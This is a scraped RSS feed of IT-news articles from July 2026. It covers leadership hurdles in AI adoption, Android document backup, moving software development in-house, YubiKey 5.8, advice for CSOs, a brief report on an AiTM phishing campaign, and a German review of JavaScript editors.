At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.

But these issues are relatively straightforward compared to the bigger challenges relating to the fast pace of change, specifically how AI can touch and transform nearly every aspect of business.

“We’re thinking about it every day,” he says. “My belief is we’ll be seeing a massive acceleration of everything.”

In coding, for example, he’s witnessing productivity increases up to 110% with AI assistants. “I can build apps or custom integrations a lot faster,” he adds.

And the real benefit of AI isn’t just in speeding up individual steps in a process, but in making AI the core of a new business process. But building it from scratch puts even more pressure on organizations trying to get employees up to speed on new ways of doing things.

“We want to move fast, train people, and get them onboarded,” he says. “But what I thought AI was going to do for my organization nine months ago is different from three months ago.” So by the time something is rolled out, it’s changed three times.

“I struggle with the change management aspect,” he says. “The legacy model of change management isn’t fast enough. How do you create that constant learning?”

One of the ways Cisco approaches it is to create communities where people can talk about these issues and share best practices and governance, and you have to keep people’s minds open that every day is going to be different than the last, Andrews adds.

Testing the AI waters

Cisco isn’t the only organization struggling with change management in the face of the AI tsunami. In a survey of 2,000 global CEOs IBM released in May, 83% of them said AI success depends more on adoption than on the technology itself, and 77% said talent and technology roles are converging.

“Thanks to Claude Code, our entire development cadence is exponentially greater than a year ago,” says Andrew Johnson, CIO at Brownstein Hyatt Farber Schreck, a Denver-based law firm with about 700 employees and clients around the US. But, as with Cisco, the biggest challenge isn’t technical.

“In our industry, with our circumstances, we’re probably less constrained by technical capability than organizational constraints, culture, aptitude, the need to bind people to technology, and what helps me and the client,” he says. “There’s a tremendous amount of cultural shift that has to happen in our organization, which is far more demanding of my attention and complexity of thought than the technical stuff.”

Companies that bill by the hour, such as law firms, may face additional challenges as attorney productivity increases because billable hours might go down. Alternatively, the total number of cases could go up as litigation becomes less expensive. Either way, firms that adapt will see competitive advantage, and the rest will fall behind, putting more pressure on the need for change management.

“If people can’t embrace technology, we won’t be able to get a lot of value out of it,” says Johnson. “I’m talking to people about adapting their way of work. There are certainly a lot of people intrigued and anxious to dive in. They recognize the connection between the potential of the technology and what we do.”

But helping everyone see that connection and then working with them to change their habits is difficult, and requires solid relationships and good communications. “That’s been far more of a bottleneck for us,” he says.

To address the issue, the firm has developed a network of technology champions who also understand the legal side of the business. “Now we need lawyers who know how to use the technology and can articulate these things to the people we’re trying to reach,” Johnson says.

But change management is only one leadership bottleneck slowing AI adoption. Companies also struggle with figuring out their vision for AI, with slow decision-making, and a tendency to focus on the past instead of the future.

Vision and strategy

In another survey, this time of 950 business leaders released by Grant Thornton in April, 51% said strategy is the biggest driver of ROI when it comes to AI adoption, but 79% of operations leaders said they don’t have a fully developed and implemented AI strategy.

“Having leadership understanding why AI is needed and what objective they’re trying to achieve is very important,” says Shivi Verma, senior manager of engineering at Docusign. “Sometimes leadership doesn’t have a strategy for their organization on how AI should be adopted. Many times it’s bottom-up, which creates a chaotic experience.”

When Docusign started adopting gen AI, different teams and organizational units wanted to go in different directions. “All were coming up with their own strategy and tooling,” he says. So Docusign brought business leaders together to understand the pain points, and decide on the technology.

“Getting requirements and placing a bet on a specific technology was important,” he says, “as well as pivoting to a different technology if needed.”

In order to adapt to changes, the company wanted to have a nimble approach, starting with smaller use cases, with power users, and problem areas.

“We try to plan for four to six months,” he adds. “We set expectations for our leadership that we place a bet with a specific technology, but want to be able to pivot.”

Today, the leadership challenge front lines have moved yet again, to agentic AI. “Folks are creating their own agents and deciding their own permissions,” Verma adds. “We’re still coming up with a governance strategy.”

Slow decision-making

When it comes to AI deployments, Dan Diasio, global AI consulting leader at EY and CTO for its US consulting business, admits he’s a bottleneck.

There’s a great deal of interest in what AI can do, and using a variety of new AI tools. But since the firm deals with sensitive client data, safety is paramount. It’s a slow process, but important to build secure infrastructure, and to have trust in the technology. “That’s a reasonable bottleneck that makes sense,” he says.

Trust in the tools they work with is essential because clients expect it. “Every tool we use has to go through a detailed security and information privacy impact assessment, as well as a whole other set of controls so they can be used appropriately and safely,” he says.

These reviews can take a lot of time, though, and in the age of AI, speed is a highly valued currency. So how do you balance the two, when safety reviews can require input from a lot of different stakeholders and be extremely time intensive?

“We’ve stood up a team to be able to quickly certify and address a variety of platforms,” Diasio says. “Instead of working with different departments in the way we used to, we’ve started identifying representatives from different departments into a cohort. Decisions we used to make in months now take weeks.”

According to a West Monroe survey of more than 1,200 leaders released earlier this year, slow decision-making is already showing up on the bottom line. Nearly three out of four leaders said their organizations lose up to 5% of annual revenue to slow decision-making and delayed execution.

And the top reasons for the delays? According to 40% of the managers surveyed, the problem was the skills gaps of overwhelmed teams, and 35% pointed to layers of management or approvals. Nearly half said they’re spending 10 to 25% of their time on rework, excessive approvals, and unnecessary meetings, and more than half say up to 50% of their projects fail or lose momentum to delays.

Focus on the future, not the past

When it comes to the decision about where to apply AI in an organization, the tendency, Diasio says, is to turn to the experts with the most expertise in the business. But these are the same people most likely to focus on improving on what they’re already doing.

“And that often blinds people to what’s possible in the future,” he says. “That becomes a significant bottleneck.” So the solution is to revamp the decision-making process around the new reality.

“What we see some advanced companies do is give people who don’t understand the process but understand the technology equal footing with people who don’t understand the technology but understand the process,” he says. “A lot of companies are disproportionately focused on just addressing their operating model right now.”

Instead of focusing on what they’re currently doing, AI-native companies will start with a focus on the customer, he says. This shift in focus isn’t likely to show up immediately on the bottom line, or result in the highest possible number of pilots going into production.

“If leaders are in a position where they’re justifying the use of a technology to the board or their CFO, they become a bottleneck when they start demonstrating their value in terms of the number of things they’re doing,” Diasio says.

But 150 or 200 use cases deployed into production may feel like progress, like things are happening in the organization. But all these use cases are a waste of time and money if they’re applied to existing processes that don’t move the needle. “We see that happen in organizations today,” he says. “Maybe we need to reinvent the processes.”

It’s no secret that companies will need to change in order to adapt to AI. Deloitte recently surveyed 660 global technology leaders and 81% said their current operating model can deploy and govern AI enterprise-wide, but 75% also said their organization must change its operating model within the next 12 to 18 months to drive greater value.

AI ROI is real, says China Widener, Deloitte vice chair and US tech, media, and telecom industry leader. But it’s currently weighted toward efficiency gains, with broader business transformation and revenue upside still developing.

Another Deloitte survey showed that the clearest results from AI were in productivity, with 66% of organizations reporting gains, and cost efficiency, with 40% saying AI reduces costs. “However, revenue impact is still emerging,” says Widener. “Only one in five companies says AI is driving top-line growth today.” But optimism prevails, with 74% expecting it to do so in the future.

]]> <![CDATA[Your instant Android backup upgrade]]> https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/ https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/ Wed, 22 Jul 2026 12:02:52 +0200 📰 IT Nachrichten tsecurity.de

Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

All you’ve gotta do is find and flip that one new switch.

[Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

The Android backup lowdown

So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

See?

Android backup documents
The easily overlooked new option for backing up documents on Android.

JR Raphael, Foundry

The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

Lemme show ya how.

Android’s document backup addition

I promise: This couldn’t be much simpler.

No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

Android backup options
Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

JR Raphael, Foundry

And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

]]> <![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]> https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/ https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/ Wed, 22 Jul 2026 11:11:54 +0200 📰 IT Security Nachrichten tsecurity.de

Outsourcing worked – until it didn’t.

After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.

The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but fair questions about IP ownership, operational dependencies and long-term scalability.

Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as insourcing, repatriating or backsourcing) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.

Building an internal engineering organization while still delivering

One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.

When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.

Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.

After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.

At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.

The next challenge was hiring.

In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a product engineering model, where engineers owned broader product outcomes rather than narrowly defined technical functions.

During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.

I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.

Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.

The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH & CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.

Managing risk without slowing down the business

The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.

To reduce delivery risk, we approached the transition in layers.

First, we focused on infrastructure reliability and operational readiness before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.

Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.

Third, we became extremely disciplined about scope management. One of the most common reasons insourcing initiatives fail is uncontrolled change during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.

Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.

By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.

A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.

My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.

The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.

Lessons learned for CTOs considering insourcing

Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.

The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.

Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.

Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.

The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Yubico Released YubiKey 5.8 With Secure Enterprise Workflows and AI-driven Approvals]]> https://tsecurity.de/de/3685537/it-security-nachrichten/yubico-released-yubikey-58-with-secure-enterprise-workflows-and-ai-driven-approvals/ https://tsecurity.de/de/3685537/it-security-nachrichten/yubico-released-yubikey-58-with-secure-enterprise-workflows-and-ai-driven-approvals/ Wed, 22 Jul 2026 09:37:53 +0200 📰 IT Security Nachrichten tsecurity.de Yubico has announced the release of YubiKey 5.8, a firmware update that enhances the functionality of hardware-backed passkeys beyond secure login authentication, extending into verified authorization workflows. This update, announced on July 21, 2026, is designed to support enterprise document signing, digital identity wallets, secure payments, and human approvals for AI-driven actions. As enterprises face […]

The post Yubico Released YubiKey 5.8 With Secure Enterprise Workflows and AI-driven Approvals appeared first on Cyber Security News.

]]> <![CDATA[10 survival tips for CSOs who report to the CEO]]> https://tsecurity.de/de/3685496/it-security-nachrichten/10-survival-tips-for-csos-who-report-to-the-ceo/ https://tsecurity.de/de/3685496/it-security-nachrichten/10-survival-tips-for-csos-who-report-to-the-ceo/ Wed, 22 Jul 2026 09:16:42 +0200 📰 IT Security Nachrichten tsecurity.de

As the CSO grows in prominence, security leaders are increasingly earning a seat at the executive table, reporting directly to the CEO with the expectation to help drive business strategy and ensure organizational success.

Reporting to the CEO unlocks greater access and influence for security leaders, and while CSOs who report to their organization’s CIO still have clout, it’s a very different experience picking up the phone to speak directly with the CEO as a strategic partner.

Regardless of reporting structure, CSOs must clearly understand what they are being tasked to solve. That might sound simple, but making the leap to being a CEO’s direct report requires a new perspective, a different set of skills, and a business-level focus on metrics to do so.

We asked several current CSOs, CEOs, and IT staffing experts for advice on how security executives can best navigate a direct reporting relationship with their CEO. Offering insights below are George Gerchow, CSO at Bedrock Data and member of the IANS faculty; Matt Chiodi, CSO of Cerby; Chris Schueler, CEO at Cyderes; and Greg Fuller, vice president of the Technology Skills Suite at Skillsoft.

1. Understand how the CEO views your role

Most CEOs expect that, when you report directly to them, you fully own your functional area. Whether it’s cybersecurity, operations, or finance, they look to you as the expert in that domain. The CEO may have opinions, but ultimately, you are expected to lead and provide direction.

CEOs expect their CSO to be a true strategic partner, not just a risk reporter — connecting cybersecurity to revenue protection, regulatory compliance, customer trust, and operational resilience. In turn, CSOs should expect CEOs to treat governance as a strategic enabler, not a bureaucratic necessity.

2. Power up on skills vital to your organization at an executive level

On the technology side, AI and machine learning, cloud security, incident response, zero trust architecture, and governance, risk, and compliance (GRC) are the areas where threats evolve fastest and strategic leadership has the greatest impact. 

Equally important are “power skills”: communication, critical thinking, adaptability, and emotional intelligence. The ability to translate complex risk into business terms is what separates a strong CSO from a purely technical one. Skills, not titles, define effectiveness in the eyes of a CEO.

3. Take advantage of your direct access

Direct access to the CEO will enable you to influence strategy, shape resilience planning, and ensure cybersecurity is treated as a business imperative rather than a cost center. That authority is strongest when the CEO understands cybersecurity as a strategic lever, not just a technical function. 

While a direct reporting relationship gives you access to the CEO, it also comes with the responsibility to operate at that level. You need to provide clear, executive-level visibility into your cybersecurity program.

4. Brush up on business translation

A CSO who leads with business alignment will always carry more influence when they can translate risk into business language rather than technical jargon. Building programs that must survive an IPO, a FedRAMP audit, and real customer scrutiny forces you to tie security to revenue and trust.

The most valuable skill is translation — defining technical risk in terms of executive action and business impact that a CEO and a board can act on. You must build trust through transparency. These are the human skills that complement technology, creating a collaborative human-AI dynamic where leaders make faster, better-informed decisions. 

5. Treat conversations as risk assessment opportunities

Highly effective security leaders treat every business conversation as a risk conversation in disguise. That mindset is what largely separates a great CSO from a great technologist. Earn the CEO’s trust by speaking business first, security second. Translate every risk into revenue, reputation, or regulatory exposure.

Remember, a good CEO wants a translator, not an alarm system. They expect no surprises, a clear read on the risks that matter, and a security leader who helps the business move faster rather than slowing it down.

6. Define what a successful relationship should look like and put it in writing

Regardless of the reporting relationship, start by defining the end goal and putting it in writing. It will evolve over time, but having that initial clarity is critical. This is especially important when you’re new in a role and aiming to make your first 60, 90, or 120 days, and your first year, successful. In such cases, it’s essential to align early.

Do that collaboratively, and document it.

7. Prioritize trust and candor

The CEO needs to trust that the CSO isn’t sandbagging, and the CSO needs enough psychological safety to deliver bad news fast. When those conditions exist, security becomes a strategic asset — not a cost center.

To that end, focus on clear communication above all, and present yourself as part of a team, not a solo player. Stay calm under pressure during incidents, and treat people as peers rather than policing them. The leaders who last build trust before they need it.

8. Treat governance as a strategic competitive advantage

The strongest partnerships also share a commitment to governance as a competitive advantage.

Governance is the brakes that let you drive fast safely. When a CSO and CEO are aligned on that principle, the organization can innovate with AI while maintaining oversight and protecting against unnecessary risk. The result is an organization that does not just react to threats but builds resilience into how it operates.

9. Set clear goals and measure progress

Setting clear goals and measuring progress against those goals is essential. When expectations are clear, the areas you need to focus on become much clearer. It doesn’t solve every problem, but aligning early with your leadership, whether that’s a CEO or a CIO, can significantly reduce the pressure you may feel.

Also, never let your boss be surprised. This is where being clear on goals and consistently tracking both leading and lagging metrics becomes especially important, particularly in a direct reporting relationship with the CEO.

10. Be willing to endure challenge and discomfort

Finally, persistence and a willingness to endure discomfort for something that matters more than the pain itself are critical to surviving in this relationship. The role of a cybersecurity leader is often thankless. If you’re doing your job well, no one really notices.

]]> <![CDATA[Hackers Use Procurement Phishing and AiTM Kits to Hijack MFA-Protected Microsoft 365 Sessions]]> https://tsecurity.de/de/3685461/it-security-nachrichten/hackers-use-procurement-phishing-and-aitm-kits-to-hijack-mfa-protected-microsoft-365-sessions/ https://tsecurity.de/de/3685461/it-security-nachrichten/hackers-use-procurement-phishing-and-aitm-kits-to-hijack-mfa-protected-microsoft-365-sessions/ Wed, 22 Jul 2026 08:55:27 +0200 📰 IT Security Nachrichten tsecurity.de A sophisticated phishing campaign is using procurement-themed emails and adversary-in-the-middle (AiTM) kits to steal MFA-protected Microsoft 365 sessions. Rather than breaking MFA, attackers proxy legitimate sign-in flows and capture the session cookies and tokens created after victims authenticate. The campaign reportedly targets enterprises, universities, multinational organizations, and public-sector entities through RFIs, bid invitations, and project-document […]

The post Hackers Use Procurement Phishing and AiTM Kits to Hijack MFA-Protected Microsoft 365 Sessions appeared first on Cyber Security News.

]]> <![CDATA[Die besten JavaScript-Editoren]]> Diese Texteditoren bringen JavaScript-Developer weiter.  R.Narong | shutterstock.com JavaScript-Entwicklern stehen viele gute Tools zur Auswahl. Beinahe zu viele, um den Überblick zu behalten. In diesem Artikel stellen w...]]> https://tsecurity.de/de/3685190/it-security-nachrichten/die-besten-javascript-editoren/ https://tsecurity.de/de/3685190/it-security-nachrichten/die-besten-javascript-editoren/ Wed, 22 Jul 2026 05:40:30 +0200 📰 IT Security Nachrichten tsecurity.de
width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">
Diese Texteditoren bringen JavaScript-Developer weiter.  

R.Narong | shutterstock.com

JavaScript-Entwicklern stehen viele gute Tools zur Auswahl. Beinahe zu viele, um den Überblick zu behalten. In diesem Artikel stellen wir Ihnen die besten Texteditoren vor, um:

  • mit JavaScript, HTML5 und CSS zu entwickeln, sowie
  • mit Markdown zu dokumentieren.

Sublime Text

Bei Sublime Text sind Sie genau richtig, wenn:

  • Sie einen flexiblen, leistungsstarken, erweiterbaren und ausgesprochen schnellen Code-Editor suchen.
  • es Ihnen nichts ausmacht, fĂźr Code Checking, Debugging und Deployment zu anderen Fenstern zu wechseln.  

Zu den vielen weiteren, bemerkenswerten Stärken von Sublime Text gehÜren neben seiner Geschwindigkeit und dem Support fßr mehr als 70 Datei-Typen (darunter JavaScript, HTML und CSS) auch noch:

  • Instant-Navigation und Projekt-Switching,
  • die Option, eine Reihe von Änderungen per Mehrfachauswahl „auf einen Schlag“ auszufĂźhren,
  • Support fĂźr mehrere Bildschirme und Split-Windows,
  • eine Plug-in-API auf Python-Basis, sowie
  • eine einheitliche, durchsuchbare Befehlspalette.
>
Sublime Text ist in vielerlei Hinsicht konfigurier- und anpassbar.

IDG

Fßr Programmierer, die von anderen Editoren kommen, hilfreich: Sublime Text unterstßtzt sowohl TextMate-Bundles (ohne Befehle) als auch die Vi/Vim-Emulation. Dabei lässt sich der Code-Editor in so gut wie jeder Hinsicht anpassen, egal, ob es um Farbschemata, Schriftarten, Tastenkombinationen, Snippets oder die Regeln fßr die Syntaxhervorhebung geht.

Rund um Sublime Text existiert ebenfalls eine aktive Community, die Packages und Plug-ins erstellt und pflegt. Mit Hilfe des Package Installers sind diverse zusätzliche Funktionen verfßgbar.

  • Preis: unbegrenzte kostenlose Testversion; 65 Dollar pro Jahr und Seat fĂźr die Business-Version; 99 Dollar fĂźr eine Privatlizenz (Support fĂźr drei Jahre);
  • Plattformen: Windows, macOS und Linux;

Visual Studio Code

Visual Studio Code ist ein quelloffener, kostenloser Editor von Microsoft. Er enthält einen Mix aus Komponenten von Visual Studio und der Open-Source-Shell Atom Electron und bietet umfassenden Support fßr:

  • ASP.Net Core Development mit C# und
  • Node.js Development mit TypeScript und JavaScript.

Dank des TypeScript-Compilers und der Salsa-Engine bietet Visual Studio Code eine erstaunlich gute JavaScript-Codevervollständigung. Dazu sendet VS Code Ihren JavaScript-Code im Hintergrund an den TypeScript-Compiler, um Typen abzuleiten und eine Symboltabelle zu erstellen.

>
Visual Studio Code darf in einer Auflistung der besten JavaScript-Editoren nicht fehlen.

IDG

Während Sie eine Expression eingeben, ermÜglicht dieselbe Symboltabelle es IntelliSense, diverse nßtzliche Pop-up-Optionen zur Codevervollständigung zur Verfßgung zu stellen.

Der Support für Git ist umfangreich und simpel zu nutzen, der VS-Code-Debugger bietet eine hervorragende Erfahrung für Node.js und ASP.Net-Projekte. Visual Studio Code kann darüber hinaus auch mit externen Task-Runnern wie gulp und jake integriert werden und kann mit einem umfangreichen Ökosystem für Extensions aufwarten.

  • Preis: kostenlos;
  • Plattformen: Windows, macOS, Linux;

Brackets

Brackets ist ein kostenloser Open-Source-Editor, der ursprĂźnglich von Adobe stammt. Das Ziel der Entwickler: Bessere Tools fĂźr JavaScript, HTML, CSS und verwandte, offene Webtechnologien bereitzustellen. Auch Brackets selbst ist in JavaScript, HTML und CSS geschrieben.

Zusätzlich zu den integrierten Funktionen verfßgt Brackets ßber einen Extension Manager. Der ist auch nÜtig, denn die sind fßr diverse Programmiersprachen und Tools aus der Welt der Frontend-Entwickler verfßgbar. In der Praxis ist Brackets zwar nicht so schnell wie Sublime Text (siehe weiter oben) oder TextMate (siehe weiter unten). Aber der Editor ist immer noch schnell genug. Brackets bietet umfassenden Support fßr:

  • JavaScript,
  • CSS,
  • HTML und
  • Node.js.

DarĂźber hinaus bietet Brackets weitere nĂźtzliche Funktionen wie beispielsweise:

  • CSS inline in Verbindung mit einer HTML-ID bearbeiten,
  • eine Ăźbersichtliche Benutzeroberfläche und
  • eine Live-Vorschau fĂźr Webseiten in Bearbeitung.
>
Brackets ist in erster Linie fĂźr die Webentwicklung konzipiert.

IDG

Auch beim Blick auf die automatische Vervollständigung von JavaScript-Code kann Brackets in der Praxis überzeugen: Es schließt automatisch sämtliche Klammern und stellt Dropdown-Menüs für Keywords, Variablen und Methoden zur Verfügung. Der JavaScript-Editor ist auch in der Lage, den Node.js-Debugger zu steuern und Node über ein Menüelement neu zu starten. Erweiterungen für zusätzliche Funktionen wie TypeScript– und JSX-Support, Bower- und Git-Integration lassen sich schnell und einfach hinzufügen.

  • Preis: kostenlos;
  • Plattformen: Windows, macOS, Linux;

Atom

Dieser kostenlose, quelloffene und “hack”-bare Programmier-Editor stammt aus dem Hause GitHub und lässt sich in die entsprechende Anwendung integrieren. Tausende von Packages und Themes stehen zur Verfügung, um Atom anzupassen. Der Quellcode von Atom wird selbstverständlich auch auf GitHub gehostet, ist in CoffeeScript geschrieben und in Node.js integriert.

